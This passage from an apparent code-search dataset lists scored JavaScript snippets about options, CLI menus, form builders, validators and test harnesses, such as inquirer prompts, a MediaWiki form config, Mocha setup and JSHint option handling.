Product\":\n\t\t\taddNewProduct();\n\t\t\tbreak;\n\n\t\t\tcase \"Exit\":\n\t\t\tprocess.exit();\n\t\t\tbreak;\n\t\t}\n\t});\n}", "title": "" }, { "docid": "00bee977d7622ba98da26aad0619d0c6", "score": "0.53681415", "text": "function testMisc()\n\t{\n\t\treturn true;\n\t}", "title": "" }, { "docid": "16e9b760205c420686663e0d8b4af7f3", "score": "0.5355533", "text": "function doOpenOptions() {\n if (!Evennia.isConnected()) {\n alert(\"You need to be connected.\");\n return;\n }\n\n togglePopup(\"#optionsdialog\");\n}", "title": "" }, { "docid": "309d6d83d909ca747b0492adcca77261", "score": "0.53525966", "text": "function setOptions() {\n if(typeof window.dev === 'undefined' || typeof window.dev.i18n === 'undefined') {\n importScriptPage('MediaWiki:I18n-js/code.js', 'dev');\n }\n mw.hook('dev.i18n').add(function(i18no) {\n i18no.loadMessages('u:corey:MediaWiki:Custom-Adoptions/i18n.json').done(function(i18n) {\n options = {\n\n /*\n //BEGIN EXAMPLE\n example: {\n page: 'Page name the form is for',\n buttonText: 'Text for button to open form',\n form: 'HTML form for reporting users. Each input/textarea should have an id. any optional inputs should be marked with the `optional` class. If any attributes need URI encoding, the relevant inputs should have the `data-encode` attribute set to `true`.',\n // this is where the input ids in the form are matched to numbers\n // for use in the summary/submitted text\n formParams: {\n '$1': 'foo',\n '$2': 'bar'\n },\n submitText: 'Text to submit to the page. Any form parameters can be inserted via the key names in `formParams`',\n summary: 'Text used for the edit summary. Any form parameters can be inserted via the key names in `formParams`',\n sectionTitle: 'Text used as the section title. Any form parameters can be inserted via the key names in `formParams`'\n },\n // END EXAMPLE\n */\n\n moviestv: {\n page: 'Adoption:TV/Movie_requests',\n buttonText: i18n.msg(\"buttonProfile\").escape(),\n form: '<form class=\"WikiaForm AdoptionsForm\" method=\"\" name=\"\" id=\"moviestv\">' +\n '<fieldset>' +\n '<div class=\"af-wrapper\">' +\n '<div class=\"af-section\"><div class=\"af-section-title\"><b>' + i18n.msg(\"formWikiName\").escape() + '</b></div>' +\n '<input id=\"wikiname\" class=\"af-wikiname optional\" type=\"text\" placeholder=\"' + i18n.msg(\"formphWikiName\").escape() + '\"/>' +\n '</div>' +\n '<div class=\"af-section\"><div class=\"af-section-title\"><b>' + i18n.msg(\"formWikiURL\").escape() + '</b></div>' +\n '<input id=\"wikiurl\" class=\"af-wikiurl\" type=\"text\" placeholder=\"harrypotter.fandom.com\"/>' +\n '</div>' +\n '<div class=\"rf-section\">' +\n '<div class=\"rf-checkbox\"><input type=\"checkbox\" id=\"timerequirement\" class=\"option-input optional\"/><label for=\"timerequirement\">' + i18n.msg(\"formTimeRequirement\").escape() + '</label></div>' +\n '</div>' + \n '<div class=\"af-section\"><div class=\"af-section-title\"><b>' + i18n.msg(\"formExtraDetails\").escape() + '</b></div>' +\n '<textarea name=\"\" id=\"comment\" placeholder=\"' + i18n.msg(\"formphReason\").escape() + '\" class=\"optional\"></textarea>' +\n '</div>' +\n '<div class=\"af-section\" style=\"color:#F00; font-size:16px; display:none;\" id=\"formAnon\"><b>' + i18n.msg(\"formAnon\").escape() + '</b></div>' +\n '</div>' +\n '</fieldset>' +\n '</form>',\n formParams: {\n '$1': 'wikiurl',\n '$2': 'wikiname',\n '$3': 'user',\n '$4': 'timerequirement',\n '$5': 'comment'\n },\n submitText: '{{Report profile|$1\\n' +\n '|$4\\n' +\n '|$3\\n' +\n '$7$8' +\n '|' + c.wgUserName + '|' + '~~' + '~~' + '~}}',\n summary: 'New profile report ($2, $5)',\n sectionTitle: '$2'\n },\n };\n adoptionDropdown = '<div class=\"wds-dropdown\">' +\n '<div class=\"wds-dropdown__toggle wds-button\">' +\n '<span>' + i18n.msg(\"buttonReport\").escape() + '</span>' +\n '<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"12\" height=\"12\" viewBox=\"0 0 12 12\" class=\"wds-icon wds-icon-tiny wds-dropdown__toggle-chevron\"><path d=\"M1 3h10L6 9z\"></path></svg>' +\n '</div>' +\n '<div class=\"wds-dropdown__content\">' +\n '<ul class=\"wds-list wds-is-linked\" id=\"af-dropdown-list\">' +\n '</ul>' +\n '</div>' +\n '</div>'\n }).done(init);\n });\n }", "title": "" }, { "docid": "e0b4a96252fe98b956d02e0ef7a6f52f", "score": "0.535259", "text": "function init() {\n Actions.askOptions();\n}", "title": "" }, { "docid": "a434ba90eac41b2dfd907c6c538e874e", "score": "0.53297764", "text": "function selectAdvancedRenderingOptions() {\n\tvar ss = getFormElement(\"commission_type\").value;\n\tvar ssb = getFormElement(\"rendering_type\").value;\n\tif(ss==\"Pokemon\") {\n\t\tconfigureAdvancedForPokemon();\n\t}\n}", "title": "" }, { "docid": "fae2048fb2358fc95dfc6826a17aa24b", "score": "0.5323744", "text": "main() {\n if (this.config.allPrices === 'yes') this.requestPrices();\n if (this.config.symbols) this.request24hr();\n if (this.config.apiKey && this.config.apiKeySecret) this.requestAccount();\n }", "title": "" }, { "docid": "5580ad46094d64de44bc02c98869d6be", "score": "0.5309427", "text": "function defaultOptions() {\n app.gameEasy = true;\n app.easy.checked = true;\n app.debugMode = false;\n app.off.checked = true;\n clearFocus();\n}", "title": "" }, { "docid": "13be72769bafe10bbf94da75eec888bd", "score": "0.5263962", "text": "function describe_ui(suffix, extra_options, f) {\n describe('Candidate UI' + (suffix === \"\" ? \"\" : \" \" + suffix), function() {\n function FakeStorage () {\n var store = {};\n return {\n getItem: function(key) { return store[key]; },\n setItem: function(key, value) { return (store[key] = value + ''); },\n clear: function() { store = {}; }\n };\n }\n\n\n beforeEach(function() {\n TESTING = true;\n\n // Recover initial HTML. Done before, not after the test,\n // to observer effect of failures.\n if (PAGE_HTML === undefined)\n PAGE_HTML = $('#page').html();\n else\n $('#page').html(PAGE_HTML);\n\n // mock time (AJAX will be mocked by test server)\n this.clock = sinon.useFakeTimers();\n\n TestCases.storage = FakeStorage();\n\n this.server = TestServer();\n this.server.init();\n\n var my_ui_options = $.extend(true, {}, this.server.ui_options, extra_options);\n this.ui = window.ui = CandidateUi(my_ui_options);\n this.ui.init();\n\n this.exit_url = null;\n this.ui.exit = $.proxy(function(url) { this.exit_url = url; }, this);\n });\n\n afterEach(function() {\n this.ui.shutdown();\n this.clock.restore();\n this.server.shutdown();\n\n // remove the modal overlay for convenience\n $('.jqmOverlay').hide();\n\n TESTING = false;\n });\n\n f.apply(this);\n });\n}", "title": "" }, { "docid": "f7aec73bc332e7f88bf4984e4fe463e7", "score": "0.52540797", "text": "static with(options = {}) {\n return new HarnessPredicate(MatLegacyAutocompleteHarness, options)\n .addOption('value', options.value, (harness, value) => HarnessPredicate.stringMatches(harness.getValue(), value))\n .addOption('disabled', options.disabled, async (harness, disabled) => {\n return (await harness.isDisabled()) === disabled;\n });\n }", "title": "" }, { "docid": "611329d9646d4e89b45afd2d94243dcb", "score": "0.5253072", "text": "function GovukTestAlertPublishingAndFrontendModule () { }", "title": "" }, { "docid": "8ce51eafc53e9dcc4f71853745d726b3", "score": "0.5244957", "text": "function managerOptions() {\n inquirer\n .prompt({\n name: \"action\",\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\n\n \"View Products For Sale\",\n \"View Low Inventory\",\n \"Add To Inventory\",\n \"Add New Product\",\n \"Exit\"\n ]\n })\n .then(function(answer) {\n switch (answer.action) {\n case \"View Products For Sale\":\n viewProducts();\n break;\n\n case \"View Low Inventory\":\n viewLowInventory();\n break;\n\n case \"Add To Inventory\":\n addToInventory();\n break;\n\n case \"Add New Product\":\n addNewProduct();\n break;\n\n case \"Exit\":\n exitApp();\n break;\n }\n\n });\n}", "title": "" }, { "docid": "937ee08af0c79a464bf69e012937e158", "score": "0.52368903", "text": "function test_check_compliance_policy_option_on_vm_summery_page() {}", "title": "" }, { "docid": "0f9bca55516609583c0a1defbc2f4ef6", "score": "0.5231244", "text": "function test (options) {\n var args = options.args || []\n args.unshift(null)\n if (options.valid) {\n options.valid.forEach(function (valid) {\n args[0] = valid\n if (validator[options.validator](...args) !== true) {\n var warning = format('validator.%s(%s) failed but should have passed',\n options.validator, args.join(', '))\n throw new Error(warning)\n }\n })\n }\n if (options.invalid) {\n options.invalid.forEach(function (invalid) {\n args[0] = invalid\n if (validator[options.validator](...args) !== false) {\n var warning = format('validator.%s(%s) passed but should have failed',\n options.validator, args.join(', '))\n throw new Error(warning)\n }\n })\n }\n}", "title": "" }, { "docid": "d093718856063546f4bd1c811f32128a", "score": "0.5229544", "text": "testing() {\n\n // //Char test\n // const charData = {\n // realm: 'frostmane',\n // guildName: 'unbreakable',\n // }\n // const charParams = ['items','pvp']\n // this.getCharacter(charParams, charData);\n\n\n // // Guild Test\n // const guildData = {\n // realm: 'frostmane',\n // guildName: 'unbreakable',\n // }\n // const guildParams = []\n // this.getGuild(guildParams, guildData);\n\n // Auction test\n // const auctionData = {\n // realm: 'frostmane',\n // }\n // this.getAuctionData(auctionData);\n\n // Boss test\n // const bossDataAll = {}\n // const bossData = {\n // id: 24723,\n // }\n // this.getBoss(bossDataAll);\n\n // Item test\n // const itemData = {\n // id: 18803\n // }\n // const itemSetData = {\n // set: true,\n // setId: 1060\n // }\n // this.getItem(itemSetData);\n\n // Mount test\n // this.mount();\n\n // Realm status test\n // this.getRealmStatus();\n\n // PVP test\n // const pvpData = {\n // bracket: '2v2',\n // }\n // this.getPvpLeaderboards(pvpData);\n\n // Zone test\n // const zoneDataAll = {}\n // const zoneData = {\n // id: 4131,\n // }\n // this.getZone(zoneDataAll);\n \n // Wow token test\n // this.getWowToken();\n\n }", "title": "" }, { "docid": "6859c70ede13fe091e290c74f4f2d471", "score": "0.5217699", "text": "static questions (generator) {\n return generator.prompt([{\n type: 'input',\n name: 'appName',\n message: 'What\\'s the name of your application package?'\n }, {\n type: 'checkbox',\n name: 'ngModules',\n message: 'What Angular modules do you want?',\n store: true,\n choices: [\n {\n name: 'ngAnimate',\n value: 'ngAnimate'\n },\n {\n name: 'ngCookies',\n value: 'ngCookies'\n },\n {\n name: 'ngTouch',\n value: 'ngTouch'\n },\n {\n name: 'ngSanitize',\n value: 'ngSanitize'\n },\n {\n name: 'ngMessages',\n value: 'ngMessages'\n }\n ]\n }, {\n type: 'list',\n name: 'resource',\n message: 'Would you like to use a REST resource library?',\n default: 'restangular',\n store: true,\n choices: [\n {\n name: 'Restangular, an alternative service to handles RESTful requests',\n value: 'restangular'\n },\n {\n name: 'ngResource, the official support for RESTful services',\n value: 'ngResource'\n },\n {\n name: 'None, $http is enough!',\n value: '$http'\n }\n ]\n }, {\n type: 'list',\n name: 'uiFramework',\n message: 'Which UI framework do you want?',\n default: 'ngMaterial',\n store: true,\n choices: [\n {\n name: 'Angular Material, the reference implementation of the Google\\'s Material Design specification',\n value: 'ngMaterial'\n },\n {\n name: 'Bootstrap, the most popular HTML, CSS, and JS framework',\n value: 'bootstrap'\n },\n {\n name: 'None',\n value: 'none'\n }\n ]\n }, {\n type: 'list',\n name: 'cssPreprocessor',\n message: 'Which CSS preprocessor do you want?',\n default: 'sass',\n store: true,\n choices: [\n {\n name: 'Sass (with Node-sass)',\n value: 'sass'\n },\n {\n name: 'Less',\n value: 'less'\n },\n {\n name: 'Plain CSS',\n value: 'css'\n }\n ]\n }, {\n type: 'checkbox',\n name: 'otherModules',\n message: 'Here are some modules you might be interested in',\n store: true,\n choices: [\n {\n name: 'angular-translate (18n for your Angular app, made easy!)',\n value: 'angular-translate'\n },\n {\n name: 'sonar-web-frontend-reporters, generate linters reporters for the SonarQube plugin',\n value: 'sonar-web-frontend-reporters'\n },\n {\n name: 'json-server, a full fake REST API with zero coding in less than 30 seconds',\n value: 'json-server'\n }\n ]\n }, {\n type: 'list',\n name: 'packageManager',\n message: 'What package manager should i use to install your dependencies ?',\n default: 'npm',\n store: true,\n choices: [\n {\n name: 'npm, a package manager for javascript',\n value: 'npm'\n },\n {\n name: 'Yarn, Fast, reliable, and secure dependency management',\n value: 'yarn'\n }\n ]\n }]).then(answers => {\n\n // App name\n generator.props.appName = answers.appName;\n\n // Angular modules\n generator.props.ngAnimate = answers.ngModules && answers.ngModules.includes('ngAnimate');\n generator.props.ngCookies = answers.ngModules && answers.ngModules.includes('ngCookies');\n generator.props.ngTouch = answers.ngModules && answers.ngModules.includes('ngTouch');\n generator.props.ngSanitize = answers.ngModules && answers.ngModules.includes('ngSanitize');\n generator.props.ngMessages = answers.ngModules && answers.ngModules.includes('ngMessages');\n\n // Resource\n generator.props.resource = answers.resource;\n\n // UI Framework\n generator.props.uiFramework = answers.uiFramework;\n\n // CSS preprocessor\n generator.props.cssPreprocessor = answers.cssPreprocessor;\n\n // Other modules\n generator.props.angularTranslate = answers.otherModules && answers.otherModules.includes('angular-translate');\n generator.props.sonarWebFrontendReporters = answers.otherModules && answers.otherModules.includes('sonar-web-frontend-reporters');\n generator.props.jsonServer = answers.otherModules && answers.otherModules.includes('json-server');\n\n // Package manager\n generator.props.packageManager = answers.packageManager;\n\n });\n }", "title": "" }, { "docid": "5f35ed15fdb02bfbd6231978f30cffe2", "score": "0.52124816", "text": "function GetTestability(){}", "title": "" }, { "docid": "5f35ed15fdb02bfbd6231978f30cffe2", "score": "0.52124816", "text": "function GetTestability(){}", "title": "" }, { "docid": "5f35ed15fdb02bfbd6231978f30cffe2", "score": "0.52124816", "text": "function GetTestability(){}", "title": "" }, { "docid": "5f35ed15fdb02bfbd6231978f30cffe2", "score": "0.52124816", "text": "function GetTestability(){}", "title": "" }, { "docid": "b338cd86a8a7ce147ce3e02221f4628f", "score": "0.5208797", "text": "function Option() {}", "title": "" }, { "docid": "715c4dd285762dc7af4f2fff5a3a5905", "score": "0.52053267", "text": "function options() {\n if (chrome.runtime.openOptionsPage) {\n chrome.runtime.openOptionsPage();\n } else {\n window.open(chrome.runtime.getURL('options.html'));\n }\n}", "title": "" }, { "docid": "4c3c6d008ae83b905a72953c9b7fad17", "score": "0.5198", "text": "validateOptions() {\r\n \t\r\n \tif (process.argv.length == 2)\r\n \t\tthis.usageAndExit();\r\n \t\r\n \tswitch (process.argv[2]) {\r\n\t \tcase '--version':\r\n\t \t\tthis.exit(this.showVersion());\r\n\t \t\treturn false;\r\n\t \t\t\r\n\t \tcase '--help':\r\n\t \t\tthis.exit(this.listHelp());\r\n\t \t\treturn false;\r\n \t}\r\n \t\r\n \tif (process.argv.length < 4)\r\n \t\tthis.usageAndExit();\r\n \t\r\n \treturn true;\r\n }", "title": "" }, { "docid": "60cbbd4ae15d7f587b2709460c0c17d9", "score": "0.5196103", "text": "function q4_test() {\r\n // todo: write a test driver\r\n // hint: be sure to test for true and false\r\n}", "title": "" }, { "docid": "d97f2f562035e78e58f3d02c7a888911", "score": "0.5188671", "text": "function testOptions ( options ) {\n\n\t\tvar parsed = {\n\t\t\tmargin: 0,\n\t\t\tlimit: 0,\n\t\t\tanimate: true,\n\t\t\tformat: defaultFormatter\n\t\t}, tests;\n\n\t\t// Tests are executed in the order they are presented here.\n\t\ttests = {\n\t\t\t'step': { r: false, t: testStep },\n\t\t\t'start': { r: true, t: testStart },\n\t\t\t'connect': { r: true, t: testConnect },\n\t\t\t'direction': { r: true, t: testDirection },\n\t\t\t'snap': { r: false, t: testSnap },\n\t\t\t'animate': { r: false, t: testAnimate },\n\t\t\t'range': { r: true, t: testRange },\n\t\t\t'orientation': { r: false, t: testOrientation },\n\t\t\t'margin': { r: false, t: testMargin },\n\t\t\t'limit': { r: false, t: testLimit },\n\t\t\t'behaviour': { r: true, t: testBehaviour },\n\t\t\t'format': { r: false, t: testFormat }\n\t\t};\n\n\t\t// Set defaults where applicable.\n\t\toptions = $.extend({\n\t\t\t'connect': false,\n\t\t\t'direction': 'ltr',\n\t\t\t'behaviour': 'tap',\n\t\t\t'orientation': 'horizontal'\n\t\t}, options);\n\n\t\t// Run all options through a testing mechanism to ensure correct\n\t\t// input. It should be noted that options might get modified to\n\t\t// be handled properly. E.g. wrapping integers in arrays.\n\t\t$.each( tests, function( name, test ){\n\n\t\t\t// If the option isn't set, but it is required, throw an error.\n\t\t\tif ( options[name] === undefined ) {\n\n\t\t\t\tif ( test.r ) {\n\t\t\t\t\tthrow new Error(\"noUiSlider: '\" + name + \"' is required.\");\n\t\t\t\t}\n\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\ttest.t( parsed, options[name] );\n\t\t});\n\n\t\t// Pre-define the styles.\n\t\tparsed.style = parsed.ort ? 'top' : 'left';\n\n\t\treturn parsed;\n\t}", "title": "" }, { "docid": "5a25ec2c0dde18b64071e5966ec92c33", "score": "0.51880276", "text": "function main()\r\n{\r\n var lOptions = new Options();\r\n var lForumPageBase = \"http://www.conquerclub.com/forum/viewtopic.php\";\r\n var lProfilePageBase = \"http://www.conquerclub.com/forum/profile.php\";\r\n\r\n // Profile page.\r\n if(lProfilePageBase == window.location.href.substring(0, lProfilePageBase.length)) {\r\n InsertExtendedPreferences();\r\n }\r\n\r\n // Forums page.\r\n if(lForumPageBase == window.location.href.substring(0, lForumPageBase.length)) {\r\n if(false == lOptions.showAvatars) {\r\n HideAvatars();\r\n }\r\n\r\n if(false == lOptions.showSignatures) {\r\n HideSignatures();\r\n }\r\n }\r\n}", "title": "" }, { "docid": "7e2b6c2e2cc3ebb1d7d8033c42929e82", "score": "0.5178246", "text": "function ServiceOptions() {}", "title": "" }, { "docid": "7e2b6c2e2cc3ebb1d7d8033c42929e82", "score": "0.5178246", "text": "function ServiceOptions() {}", "title": "" }, { "docid": "33aaa8603566bbf9ae3845f8a50d650b", "score": "0.5150914", "text": "static optInOverall()\n {\n UXCamBridge.optInOverall();\n }", "title": "" }, { "docid": "b122c8d8a5675dc73f9b3e480a226422", "score": "0.51473165", "text": "function addDefaultOptions(context){\n context['help'] = ['h', 'Displays this help output'];\n\n if(this.getVersion)\n context['version'] = ['v', 'Displays the installed version'];\n}", "title": "" }, { "docid": "4a2e33a82703954205ddbb7978a62126", "score": "0.51453227", "text": "extend(config, {\n isDev,\n isClient\n }) {\n if (isDev && isClient) {\n \n }\n }", "title": "" }, { "docid": "241740514720f17e6f8ca5f5ac48b688", "score": "0.51065904", "text": "function showShowdownOptions () {\n 'use strict';\n var showdownOptions = showdown.getDefaultOptions(false);\n console.log('\\nshowdown makehtml config options:');\n // show showdown options\n for (var sopt in showdownOptions) {\n if (showdownOptions.hasOwnProperty(sopt)) {\n console.log(' ' + sopt + ':', '[default=' + showdownOptions[sopt].defaultValue + ']',showdownOptions[sopt].describe);\n }\n }\n console.log('\\n\\nExample: showdown makehtml -c openLinksInNewWindow ghMentions ghMentionsLink=\"https://google.com\"');\n}", "title": "" }, { "docid": "f7f7eb029785ccedd8794f9b9982dc37", "score": "0.5099598", "text": "function menuOptions() {\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"menu\",\n message: \"What would you like to do?\",\n choices: [\"View Products for Sale\", \"View Low Inventory\", \"Add to Inventory\", \"Add New Product\"]\n\n }]).then(function (answers) {\n switch(answers.menu){\n case \"View Products for Sale\": productsForSale();\n break;\n case \"View Low Inventory\": lowInventory();\n break;\n case \"Add to Inventory\": addInventory();\n break;\n case \"Add New Product\": addProduct();\n }\n });\n}", "title": "" }, { "docid": "342ba578c46742b9c76a61fafd7c6306", "score": "0.5099473", "text": "function GetTestability() {}", "title": "" }, { "docid": "afe3c2c09f8873aaba9e79fbcd39273b", "score": "0.50966513", "text": "function BootstrapOptions() {}", "title": "" }, { "docid": "7cd6ecfcb8136801a59e409ebfefdff5", "score": "0.50950813", "text": "function _setDefaultOptions(options) {\n\t\tif (!options.xtextLang && options.lang)\n\t\t\toptions.xtextLang = options.lang\n\t\tif (!options.xtextLang && options.resourceId)\n\t\t\toptions.xtextLang = options.resourceId.split('.').pop();\n\t\tif (!options.statusReporter && options.statusElement) {\n\t\t\tvar statusElement = options.statusElement;\n\t\t\tif (typeof(statusElement) === 'string') {\n\t\t\t\tvar doc = options.document || document;\n\t\t\t\tstatusElement = doc.getElementById(statusElement);\n\t\t\t}\n\t\t\tif (statusElement !== undefined) {\n\t\t\t\toptions.statusReporter = function(message, isError) {\n\t\t\t\t\tstatusElement.textContent = message;\n\t\t\t\t};\n\t\t\t}\n\t\t}\n\t\toptions.noFocus = !options.setFocus;\n\t\toptions.noComputeSize = options.computeSize !== undefined && !options.computeSize;\n\t\tif (options.autoCompleteComments === undefined)\n\t\t\toptions.autoCompleteComments = true;\n\t\tif (options.autoPairAngleBrackets === undefined)\n\t\t\toptions.autoPairAngleBrackets = true;\n\t\tif (options.autoPairBraces === undefined)\n\t\t\toptions.autoPairBraces = true;\n\t\tif (options.autoPairParentheses === undefined)\n\t\t\toptions.autoPairParentheses = true;\n\t\tif (options.autoPairQuotations === undefined)\n\t\t\toptions.autoPairQuotations = true;\n\t\tif (options.autoPairSquareBrackets === undefined)\n\t\t\toptions.autoPairSquareBrackets = true;\n\t\tif (options.smartIndentation === undefined)\n\t\t\toptions.smartIndentation = true;\n\t\tif (options.hoverFactory === undefined) {\n\t\t\tvar hover = {\n\t\t\t\tclearQuickFixes: function() {},\n\t\t\t\trenderQuickFixes: function() {}\n\t\t\t};\n\t\t\t_internals.hoverDelegate = hover;\n\t\t\toptions.hoverFactory = {\n\t\t\t\tcreateHover: function() {\n\t\t\t\t\treturn hover;\n\t\t\t\t}\n\t\t\t};\n\t\t}\n\t}", "title": "" }, { "docid": "fa61b718a56341338ec58e45469f8a8d", "score": "0.50907564", "text": "function GetTestability() { }", "title": "" }, { "docid": "fa61b718a56341338ec58e45469f8a8d", "score": "0.50907564", "text": "function GetTestability() { }", "title": "" }, { "docid": "aa1f7e69f886095784b778e947379a22", "score": "0.5089345", "text": "option(option = {}) {\n this._option = option;\n\n if (this._option.type !== undefined) {\n this.type = this._option.type;\n }\n\n if (this._option.items !== undefined) {\n this.items = this._option.items;\n }\n\n if (this._option.url !== undefined) {\n this.url = this._option.url;\n }\n\n if (this._option.request !== undefined) {\n this.request = this._option.request;\n }\n\n if (this._option.response !== undefined) {\n this.response = this._option.response;\n }\n }", "title": "" }, { "docid": "ac162ad8e16ed2c4ff49b4314d3bbfbe", "score": "0.50838786", "text": "function onlyTesting() {\n\t\t console.log(\"only testing\");\n\t\t }", "title": "" }, { "docid": "42f33fd60d9f3b2753af75669ac9dcab", "score": "0.5082098", "text": "function options (){\n inquirer.prompt([\n {\n type: \"list\",\n message: \"What would you like to do?\",\n choices: [\"create_new_card\", \"review_existing_cards\", \"exit\"],\n name: \"selection\"\n }\n ]).then(function(user) {\n switch (user.selection) {\n case \"create_new_card\":\n console.log(\"new clicked\");\n newCard();\n break;\n\n case \"review_existing_cards\":\n reviewCards();\n break;\n\n case \"exit\":\n break;\n }\n });\n}", "title": "" }, { "docid": "891941a7e3293ec950173fc716819043", "score": "0.5080393", "text": "function Adaptor() {\n mocha.setup({ ui: 'bdd', ignoreLeaks: true });\n}", "title": "" }, { "docid": "07125bc16a1cf3503cb2f4480cb03d05", "score": "0.50780445", "text": "function applyOptions() {\n var badESOpt = null;\n processenforceall();\n\n /**\n * TODO: Remove in JSHint 3\n */\n badESOpt = state.inferEsVersion();\n if (badESOpt) {\n quit(\"E059\", state.tokens.next, \"esversion\", badESOpt);\n }\n\n if (state.inES5()) {\n combine(predefined, vars.ecmaIdentifiers[5]);\n }\n\n if (state.inES6()) {\n combine(predefined, vars.ecmaIdentifiers[6]);\n }\n\n /**\n * Use `in` to check for the presence of any explicitly-specified value for\n * `globalstrict` because both `true` and `false` should trigger an error.\n */\n if (state.option.strict === \"global\" && \"globalstrict\" in state.option) {\n quit(\"E059\", state.tokens.next, \"strict\", \"globalstrict\");\n }\n\n if (state.option.module) {\n /**\n * TODO: Extend this restriction to *all* ES6-specific options.\n */\n if (!state.inES6()) {\n warning(\"W134\", state.tokens.next, \"module\", 6);\n }\n }\n\n if (state.option.couch) {\n combine(predefined, vars.couch);\n }\n\n if (state.option.qunit) {\n combine(predefined, vars.qunit);\n }\n\n if (state.option.rhino) {\n combine(predefined, vars.rhino);\n }\n\n if (state.option.shelljs) {\n combine(predefined, vars.shelljs);\n combine(predefined, vars.node);\n }\n if (state.option.typed) {\n combine(predefined, vars.typed);\n }\n\n if (state.option.phantom) {\n combine(predefined, vars.phantom);\n }\n\n if (state.option.prototypejs) {\n combine(predefined, vars.prototypejs);\n }\n\n if (state.option.node) {\n combine(predefined, vars.node);\n combine(predefined, vars.typed);\n }\n\n if (state.option.devel) {\n combine(predefined, vars.devel);\n }\n\n if (state.option.dojo) {\n combine(predefined, vars.dojo);\n }\n\n if (state.option.browser) {\n combine(predefined, vars.browser);\n combine(predefined, vars.typed);\n }\n\n if (state.option.browserify) {\n combine(predefined, vars.browser);\n combine(predefined, vars.typed);\n combine(predefined, vars.browserify);\n }\n\n if (state.option.nonstandard) {\n combine(predefined, vars.nonstandard);\n }\n\n if (state.option.jasmine) {\n combine(predefined, vars.jasmine);\n }\n\n if (state.option.jquery) {\n combine(predefined, vars.jquery);\n }\n\n if (state.option.mootools) {\n combine(predefined, vars.mootools);\n }\n\n if (state.option.worker) {\n combine(predefined, vars.worker);\n }\n\n if (state.option.wsh) {\n combine(predefined, vars.wsh);\n }\n\n if (state.option.yui) {\n combine(predefined, vars.yui);\n }\n\n if (state.option.mocha) {\n combine(predefined, vars.mocha);\n }\n }", "title": "" }, { "docid": "8b772718924d1b7f6aca8bee8ea9aca6", "score": "0.50755703", "text": "function setupMenu (options) {\n\n\t switch (parameters.stimulus_type) {\n\n\t \tcase \"gabor (vertical stripes)\":\n\t \tcase \"gabor (horizontal stripes)\":\n\n \t\t\toptions.add(parameters.gabor, 'contrast', 0.0, 1.0).name('Contrast').onFinishChange(callback);\n\t\t\toptions.add(parameters.gabor, 'frequency', 0.0, 30).name('Freq.(cpd)').onFinishChange(callback);\n\t\t\toptions.add(parameters.gabor, 'sigma', 0.0, 5).name('Sigma (deg.)').onFinishChange(callback);\n\t\t \tbreak;\n\n\t \tcase \"checkerboard\":\n\n \t\t\toptions.add(parameters.checkerboard, 'contrast', 0.0, 1.0).name('Contrast').onFinishChange(callback);\n\t\t\toptions.add(parameters.checkerboard, 'frequency', 0.0, 30).name('Freq.(cpd)').onFinishChange(callback);\n\t\t\t//options.add(parameters.checkerboard, 'sigma', 0.0, 5).name('Sigma (deg.)').onFinishChange(callback);\n\t\t\toptions.add(parameters.checkerboard, 'use_window').name('Window').onFinishChange(callback);\n\t\t\toptions.add(parameters.checkerboard, 'tiles', [2,4,8,16,32,64,128]).name('Tiles (NxN)').onFinishChange(callback);\n\t\t \tbreak;\n\n\n\t\t default:\n\t\t \tthrow ('error'); \t\n\n\t }\n\n\n\t switch (parameters.display.name) {\n\n\t \tcase \"custom\":\n\n\t\t \tbreak;\n\n\t\t default:\n\t\t \tthrow ('error'); \t\n\n\t }\n\n\n\n }", "title": "" }, { "docid": "8fe3db5264886252200e6eb67ebcca58", "score": "0.5064514", "text": "function test_osp_security_group_can_be_selected_while_creating_migration_plan() {}", "title": "" }, { "docid": "03a6972331b712b9f006e072f6d20e84", "score": "0.50495225", "text": "static checkOptions(options) {\n // Check whether a valid rotor type is passed in\n if (!Rotors[options.type]) {\n throw new EnigmaError(400, `Unknown Rotor Type '${options.type}'.`);\n }\n\n // Check the ringSetting (ringstellung)\n if (options.ringSetting) {\n if (typeof options.ringSetting !== 'number') {\n throw new EnigmaError(400, 'Ring setting must be a number.');\n }\n\n if (options.ringSetting < 1 || options.ringSetting > 26) {\n throw new EnigmaError(400, 'Ring setting must be between 1 and 26.');\n }\n }\n\n // Check the wheel setting (grundstellung)\n if (options.rotorOffset) {\n if (options.rotorOffset.length !== 1) {\n throw new EnigmaError(400, `Invalid rotor offset ${options.rotorOffset}.`);\n }\n\n options.rotorOffset = options.rotorOffset.toUpperCase();\n if (_idx(options.rotorOffset) < 0) {\n throw new EnigmaError(400, `Invalid rotor offset ${options.rotorOffset}.`);\n }\n }\n }", "title": "" }, { "docid": "7029c1e32a3675432e3f50c9e87f37ac", "score": "0.5045652", "text": "_validateOptions(options, configOptions) {\n const checkedOptions = { ...options };\n const mockedTypes = new OwlOptionsMockedTypes();\n const setRightOption = (type, key) => {\n this.logger.log(`options.${key} must be type of ${type}; ${key}=${options[key]} skipped to defaults: ${key}=${configOptions[key]}`);\n return configOptions[key];\n };\n for (const key in checkedOptions) {\n if (checkedOptions.hasOwnProperty(key)) {\n // condition could be shortened but it gets harder for understanding\n if (mockedTypes[key] === 'number') {\n if (this._isNumeric(checkedOptions[key])) {\n checkedOptions[key] = +checkedOptions[key];\n checkedOptions[key] = key === 'items' ? this._validateItems(checkedOptions[key], checkedOptions.skip_validateItems) : checkedOptions[key];\n }\n else {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n }\n else if (mockedTypes[key] === 'boolean' && typeof checkedOptions[key] !== 'boolean') {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n else if (mockedTypes[key] === 'number|boolean' && !this._isNumberOrBoolean(checkedOptions[key])) {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n else if (mockedTypes[key] === 'number|string' && !this._isNumberOrString(checkedOptions[key])) {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n else if (mockedTypes[key] === 'string|boolean' && !this._isStringOrBoolean(checkedOptions[key])) {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n else if (mockedTypes[key] === 'string[]') {\n if (Array.isArray(checkedOptions[key])) {\n let isString = false;\n checkedOptions[key].forEach(element => {\n isString = typeof element === 'string' ? true : false;\n });\n if (!isString) {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n ;\n }\n else {\n checkedOptions[key] = setRightOption(mockedTypes[key], key);\n }\n }\n }\n }\n return 